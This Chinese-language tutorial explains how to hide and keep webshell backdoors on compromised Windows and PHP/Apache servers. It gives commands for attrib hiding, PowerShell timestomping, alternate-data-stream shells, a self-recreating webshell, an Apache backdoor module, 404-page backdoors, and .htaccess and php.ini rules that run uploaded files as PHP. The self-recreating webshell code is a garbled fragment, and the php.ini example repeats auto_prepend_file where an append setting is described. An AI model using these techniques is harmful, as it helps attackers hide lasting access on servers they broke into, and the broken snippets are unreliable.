隐藏文件
使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。
attrib +s +a +h +r shell.php //隐藏shell.php文件
修改文件时间属性
当你试图在一堆文件中隐藏自己新创建的文件,那么,除了创建一个迷惑性的文件名,还需要修改文件的修改日期。
//修改时间修改Set-ItemProperty -Path 2.txt LastWriteTime -Value "2020-11-01 12:12:12"//访问时间修改Set-ItemProperty -Path 2.txt LastAccessTime -Value "2020-11-01 12:12:12"//创建时间修改Set-ItemProperty -Path 2.txt CreationTime -Value "2020-11-01 12:12:12"
使用命令获取文件属性
Get-ItemProperty -Path D:\1.dll | Format-list -Property * -Force
修改某个文件夹下所有文件的创建和修改时间
powershell.exe -command "ls 'upload\*.*' | foreach-object { $_.LastWriteTime = Get-Date ; $_.CreationTime = '2018/01/01 19:00:00' }"
利用ADS隐藏文件内容
在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:
echo ^ > index.php:hidden.jpg
这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。
利用include函数,将index.php:hidden.jpg进行hex编码,把这个ADS文件include进去,这样子就可以正常解析我们的一句话了。
不死马
不死马会删除自身,以进程的形式循环创建隐蔽的后门。
'); //创建shell.php,这里最好用免杀的一句话 sleep(10); //间隔时间}?>
处理方式最简单有效的办法,就是重启服务就可以删除webshell文件。
中间件后门
将编译好的so文件复制到modules文件夹,启动后门模块,重启Apache。当发送特定参数的字符串过去时,即可触发后门。
github项目地址:
https://github.com/VladRico/apache2_BackdoorMod
利用404页面隐藏后门
404页面主要用来提升用户体验,可用来隐藏后门文件。
The requested URL was not found on this server.
利用 .htaccess 文件构成PHP后门
一般.htaccess可以用来留后门和针对黑名单绕过,在上传目录创建.htaccess 文件写入,无需重启即可生效,上传png文件解析。
AddType application/x-httpd-php .png
另外,在.htaccess 加入php解析规则,把文件名包含1的解析成php,上传1.txt即可解析。
利用 php.ini 隐藏后门文件
php.ini 中可以指定在主文件执行前后自动解析的文件名称,常用于页面公共头部和尾部,也可以用来隐藏php后门。
;在PHP文档之前自动添加文件。auto_prepend_file = "c:\tmp.txt";在PHP文档之后自动添加文件。auto_prepend_file = "c:\tmp.txt"
需重启服务生效,访问任意一个php文件即可获取webshell。